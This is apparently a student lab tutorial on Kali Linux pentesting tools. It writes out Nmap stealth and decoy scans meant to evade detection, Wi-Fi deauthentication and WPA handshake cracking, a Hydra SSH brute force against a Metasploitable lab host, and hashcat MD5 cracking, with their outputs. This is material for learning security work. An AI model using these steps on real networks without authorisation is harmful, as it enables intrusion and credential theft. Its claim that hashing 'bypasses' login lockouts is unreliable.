ETHICAL HACKING AND PENTESTING WITH NMAP, AIRCRACK-NG AND HYDRA



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INTRODUCTION

- Kali Linux is an open-source, Debian-based Linux distribution aimed at advanced Penetration Testing and Security Auditing
- Kali Linux contains several hundred tools targeted towards various information security tasks, such as Nmap, Aircrack-ng and Hydra
- N-map is short for Network Mapping, it is a free and open-source tool for network scanning for vulnerability or discovery
- Aircrack-ng contain a set of tools in Kali Linux that can be used to assess Wi-Fi network security to attack it or defend it
- Hydra is a pre-installed tool in Kali Linux that uses brute force to attack the login credentials. Hydra uses different services such as ftp, ssh, telnet, MS-SQL

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Installing Nmap in the Kali Linux

We can install Nmap tool in the Kali Linux by using => '\$ sudo apt install nmap' command. Once the nmap is installed, we can check the nmap version by using => '\$ nmap --version' command.

Nmap port scanning

- In order for us to port scan the network, we don't use 'ping' command to scan multiple devices as it takes a lot of time
- So, we use nmap command given below to port scan an entire network

'\$ nmap –sP 10.0.2.15/24' Here, 10.0.2.15/24 is my home network

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Check for Open ports

- Once we scanned the network we check for the open ports
 For example, if we wish to hack websites, we find the end points or servers in our network that are running websites
- Normally, they are the ports like 80, 443
- We use '\$ sudo nmap -sT -p 80,443 10.0.2.15/24'

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PORT STATE SERVICE 80/tcp closed http 443/tcp closed https

Nmap done: 256 IP addresses (4 hosts up) scanned in 3.43 seconds

- Using commands such as '\$ sudo nmap -sT -p 80,443
 10.0.2.15/24' might be intruding to a system like IDS (Intrusion Detecting System) which are built into Firewalls might catch us or get us into a trouble
- We use command like '\$ sudo nmap –sS –p 80,443 10.0.2.15/24' for stealthy scan or often referred as SYN scan or Half-open scan
- Or, we could simply use without specifying the ports like '\$ sudo nmap -sS 10.0.2.15/24'

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Post-scan script results: | clock-skew: | 0s: | 10.0.2.2 | 10.0.2.3 |_ 10.0.2.4 OS and Service detection performed. Please report any incorrect results Nmap done: 256 IP addresses (4 hosts up) scanned in 49.65 seconds

OS Detection

- Using '-O' commands we can detect what OS is being used by our target.
- Using '-A' commands we can detect not only the OS detection, but also the version detection, script scanning and traceroute. Often this is referred as aggressive mode

Using a DECOY

- As we are scanning a network and we want to avoid being found, we use a decoy
- We use decoy to cover our tracks and never be found easily
- We use the following command
- '\$ sudo nmap -sS -D 10.7.1.80 10.7.1.226'
- Here, 10.7.1.80 is my decoy address and 10.7.1.226 is my target address
- This will still send messages from our computer but what it will do is, it will duplicate changing the source to 10.7.1.80

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All 1000 scanned ports on 10.7.1.226 are in ignored states.
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Nmap done: 1 IP address (1 host up) scanned in 24.00 seconds

Using Nmap Script

- One of the interesting features of Nmap is the Nmap Script Engine (NSE), which brings even more flexibility and efficiency to it
- It enables you to write your own scripts, and possibly share these scripts with other Nmap users out there
- We use for example,

'\$ sudo nmap script vuln 10.0.2.15/24' what this does is it uses every script available in the vuln category.

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Nmap done: 256 IP addresses (4 hosts up) scanned in 62.43 seconds

- A network usually contains several devices connected using a wired (Ethernet, Fiber, etc.) or wireless connection (WiFi, Bluetooth, etc.) to share resources
- Whether you are on a wired or wireless network, one device is always considered a server
- To connect to the internet, a Device will send a request to the router, which will, in turn, fetch what you want from the Internet
- Data transmitted between the client and the Access Point is known as Packets
- This project will be explaining how to capture these packets and use them to crack WPA and WPA2 passwords

*First, Using the airmon-ng command to display wireless card(s) and here we have one card named "Wlano"

•This card have to be in monitor mode which is allow to capture all kinds of Wi-Fi packets . So, we have to use "airmon-ng start wlano" command

• This will put our WiFi adapter in monitor mode and it will create a new interface for us to use, in my case the new interface is "*wlαnomon"*

after running the command we found 2 processes that could cause trouble
We can kill them by using " airmong-ng check kill"

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 See what Wi-Fi connections are around us by running the following command "sudo airodump-ng wlanomon", to start capturing packets on our Wi-Fi networks

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- start by monitoring all the data for the network we are trying to capture the handshake
- We will be using "airodumpng "command to capturing the packets of the target network and write all the data to a file
- We will need the channel number and the BSSID to use in the command to identify the target wifi network

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capturing the handshake so that we can use it to crack the Wi-Fi password

We can capture the handshake by sitting and monitoring all the data that is being passed with the Wi-Finetwork and we will look for when a new device connects or reconnects with the network

After the command finishes go back to your other window that is monitoring the data and look to see if you have captured a handshake. You should see a '*WPA Handshake*' appear in the top right corner

Using 'deauth' commands to speed things up by booting devices off the network and having them reestablish with the network to capture the handshake

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root@kali:/home/kali# ls Pictures Public Templates aircrack-ng-1.2-rc4 aircrack-ng-1.2-rc4.tar.gz aircrack-ng-1.2-rc4.tar.gz.1 _davz-03.kismet.netxml airodump-01.cap airodump-01.csv airodump-01.kismet.csv airodump-01.kismet.netxml airodump-01.log.csv airodump-02.cap airodump-02.csv airodump-02.kismet.csv airodump-02.kismet.netxml airodump-02.log.csv airodump-03.cap airodump-03.csv airodump-03.kismet.csv airodump-03.kismet.netxml airodump-03.log.csv

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- use the 'ls' command to find the files that were written
- The handshake will be stored in <file name>.cap
- In my case the file name is 'jordan-o1.cap'

Run the following command" aircrack-ng jordan-o1.cap -w ./unix_passwords.txt" to begin cracking the WPA WiFi network using the unix-passwords file

 All you need for this command is file name and in my case is " Jordan -01.cap"

That's basically it once you run that command "aircrack-ng" will begin checking all the passwords in your "unix-passwords" trying to see if any of them match the hash from the 4-Way Handshake The Raspberry Pi can check around 250-500 keys per second which is fairly slow

root@kali:/home/kali File Actions Edit View Help Aircrack-ng 1.6 [00:00:02] 989/1010 keys tested (469.73 k/s) Time left: 0 seconds 97.92% KEY FOUND! [toy93hyena35ago] Master Key : 9E 0C 31 74 0F BF 3D 6C F9 97 33 92 92 86 1B 9F 5B 5E D1 43 7C 7C C5 62 F6 F9 DE 75 EB 74 FD FD Transient Key : 2B 94 91 CF 04 2B 14 BC FF 63 24 33 C4 F2 49 38 DC 96 53 0B 49 2F AE 7A 76 AE 97 BE 92 A4 AD 33 F7 3A D6 EB 4A 6A 39 F2 F4 EA AC 42 82 D9 49 85 38 0C 5D 38 B0 A8 DD 78 31 08 1B CC 8F EF FF EC : E3 A2 F8 19 D6 F1 06 C7 7B 16 7E 62 1E CF F7 5D FAPOL HMAC

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root@kali:/home/kali# []

Dictionary based password attacks

- Hydra uses dictionary based password attacks
- Meaning that we can load in a file with bunch of commonly used passwords and it will attempt to login to a particular device using all the passwords in the list



List of Passwords

- This is just a small list of the passwords saved in one of the files in Kali linux.
- There is a list available in Hydra containing millions of password combinations called "Rock you"
- ♦ Back in 2009, a company named RockYou was hacked
- This wouldn't have been too much of a problem if they hadn't stored all of their passwords unencrypted, in plain text for an attacker to see
- They downloaded a list of all the passwords and made it publically available

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loveme

Two ways of accessing Hydra

- There are two ways to access
 Hydra in Kali Linux, one is
 called Hydra GTK and Hydra
- Difference between Hydra
 and Hydra GTK is that Hydra
 GTK uses graphical user
 interface GUI where as hydra
 itself is coding based



Metasploitable as the target

- Metasploitable Linux OS was used as the target system.
- Using the ifconfig command we can find out the IP address of our target machine which is used to connect to this system and attack its login credentials
- In this case the username and password is the same: msfadmin and the ip address is 192.168.1.123

msfadmin@metasploitable:"5 ifconfig eth0 Link encap:Ethernet HWaddr 08:00:27:1d:43:2f inet addr 192.168.1.123 Bcast:192.168.1.255 Mask:255.255.255.0 inet6 addr: fe80::a00:27ff:fe1d:432f/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:68 errors:0 dropped:0 overruns:0 frame:0 TX packets:70 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:7979 (7.7 KB) TX bytes:7244 (7.0 KB) Base address:0xd020 Memory:f0200000-f0220000 Link encap:Local Loopback lo inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:91 errors:0 dropped:0 overruns:0 frame:0 TX packets:91 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:19301 (18.8 KB) TX bytes:19301 (18.8 KB)



- This is the GUI of the Hydra GTK
- Here we can enter the all the information necessary to start the brute force attacks

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Hydra GTK (continued)

- In the single target we need to enter the IP address of the server we are trying to attack.
- There are different protocol we can use to hack the target server here SSH protocol was used.
 SSH or Secure Shell is a network communication protocol that enables two computers to communicate and transfer data
- In the output option we can choose to show many details. Show attempt will display all the passwords used
- Be Verbose shows the additional details



hydra -s 22 -v -V -l msfadmin -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt -e s -t 16 ...

Hydra GTK (continued)

- In the password column we need to let Hydra know how we want to approach the brute force attack
- We can give it specific usernames/passwords or a list of usernames/passwords to try
- The username is known so it is written as is
 For the password a built in password list and
 "Try login as password" was checked since the
 username and password are the same

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Hydra GTK Result

- Finally we can see all the passwords that hydra tried
- In the given library of passwords, there were 1010 different passwords available
- Hydra was successfully able to find the right password which in this case is "msfadmin

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sudo hydra -L username.txt



- The line "sudo hydra -L username.txt"
 will look through a list of usernames and guess the correct username
- In this case we already know the username so we don't need to use this





- Here we specified the username we are trying to attack which is "msfadmin"
- Once we specify the username we need to open the file we need to use. Here it is the path shown below
- Finally we need to give hydra the IP address of the target and the protocol we are using. In this demonstration ssh was used

Hydra Result

- Once the operation is finished Hydra gives us the correct username and password.
- This method works very well if the usernames and passwords are common/simple
- This method won't work if the server has login attempt limits or if the passwords are complicated, that is very hashing comes in

unix passwords.txt \
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192.168.1.121 ssh
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in m
ilitary or secret service organizations, or for illegal purposes (this is non-b
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ommended to reduce the tasks: use -t 4

[DATA] max 16 tasks per 1 server, overall 16 tasks, 1011 login tries (l:1/p:101 1), ~64 tries per task

[DATA] attacking ssh://192.168.1.121:22/ 🖣

[22][ssh] host: 192.168.1.121 login: msfadmin password: msfadmin ^X@sS1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-04-17 11:43 :06

Hashing

- Most servers have certain limits for the login attempts and when that limit is reached the user gets timed out.
- In order to bypass this hashing is used. Servers don't save passwords in plain text but it converts them into complex numbers and letters using various different hashing algorithms
- If we hacked a server and copied all the passwords saved in it we would not see plain text but just some unrecognizable numbers and letters.
- When we enter a password in a website it uses the hashing algorithm to match the text with what it has saved already
- If we have the hash of a password we can use that to match what is saved in the server to avoid getting timed out

Your account has been locked due to 3 failed attempts. It will be unlocked after 24 hours.

Access to Shopme Control Panel						
david@hotmail.com						
Remember Me						
Login						



Matching the hash

- Kali Linux comes with many different hashing algorithms that we can used to unhash a password.
- We used MD5 hashing algorithm to decipher the password.
- We also need to specify the attack mode we need to use. In our case straight attack mode was used.

Attack mode

- 0 = Straight
 1 = Combination
 - = Brute-force
- 6 = Hybrid Wordlist + Mask
- 7 = Hybrid Mask + Wordlist

Hash type

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0 = MD5
10 = md5($pass.$salt)
20 = md5($salt.$pass)
30 = md5(unicode($pass).$salt)
40 = md5($salt.unicode($pass))
50 = HMAC-MD5 (key = $pass)
60 = HMAC-MD5 (key = $salt)
100 = SHA1
110 = sha1($pass.$salt)
120 = sha1($salt.$pass)
130 = sha1(unicode($pass).$salt)
140 = sha1($salt.unicode($pass))
150 = HMAC-SHA1 (key = $pass)
160 = HMAC-SHA1 (key = $salt)
200 = MySQL323
300 = MySQL4.1/MySQL5
400 = phpass, MD5(Wordpress), MD5(phpBB3), MD5(Joomla)
500 = md5crypt, MD5(Unix), FreeBSD MD5, Cisco-IOS MD5
900 = MD4
1000 = NTLM
1100 = Domain Cached Credentials (DCC), MS Cache
1400 = SHA256
1410 = sha256($pass.$salt)
1420 = sha256($salt.$pass)
1430 = sha256(unicode($pass).$salt)
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Hash of the password

- Since we know the hash of our password we can use that to decipher it
- First we saved the hash of our password in a file and gave it a name "hash.txt"
- Then we used hashcat to decipher the password.
- -a means the attack mode o = straight -m is the hashing algorithm used o = MD5 and -o means the output file where the hash will be converted back to the plain text
- Finally we used the hash.txt file and our wordlist "unix_passwords.txt" to decipher the hash and match the correct password

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___(root Mamoon)-[~/Desktop]
_____# sudo hashcat -a 0 -m 0 -o crackedpass.txt \
/root/Desktop/hash.txt /usr/share/metasploit-framework/data/wordlists/unix pas
swords.txt

Hashing Result

- Once the process finished the MD5 algorithm gave us two possible candidates for the correct password.
- When we open our output file
 named "Crackedpasswords.txt" we
 see the correct password
 deciphered

Session....: hashcat Status....: Cracked Hash.Name....: MD5 Hash.Target.....: 3dbcf8078a52e0d449f4d2ab0be13235 Time.Started.....: Sun Apr 17 13:04:34 2022 (0 secs) Time.Estimated ...: Sun Apr 17 13:04:34 2022 (0 secs) Guess.Base.....: File (/usr/share/metasploit-framework/data/wordlists/unix p asswords.txt) Guess.Queue....: 1/1 (100.00%) Recovered.....: 1/1 (100.00%) Digests Progress..... 1012/1012 (100.00%) Rejected.....: 0/1012 (0.00%) Restore.Point....: 0/1012 (0.00%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidates.#1.0.0: msfadmin \rightarrow vagrant

1 3dbcf8078a52e0d449f4d2ab0be13235:msfadmin

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CONCLUSION

- Nmap, Aircrack-ng, and Hydra are powerful tools available in Kali Linux
- Nmap is used to search for networks around the user and the user can find their vulnerabilities
- Aircrack-ng is used to capture WiFi handshake and using the data the password can be cracked. This is a useful tool that can be used to find the durability of a WiFi network
- Hydra is also a powerful tool that is included with Kali Linux. It uses brute force and hash decryption to attack login credentials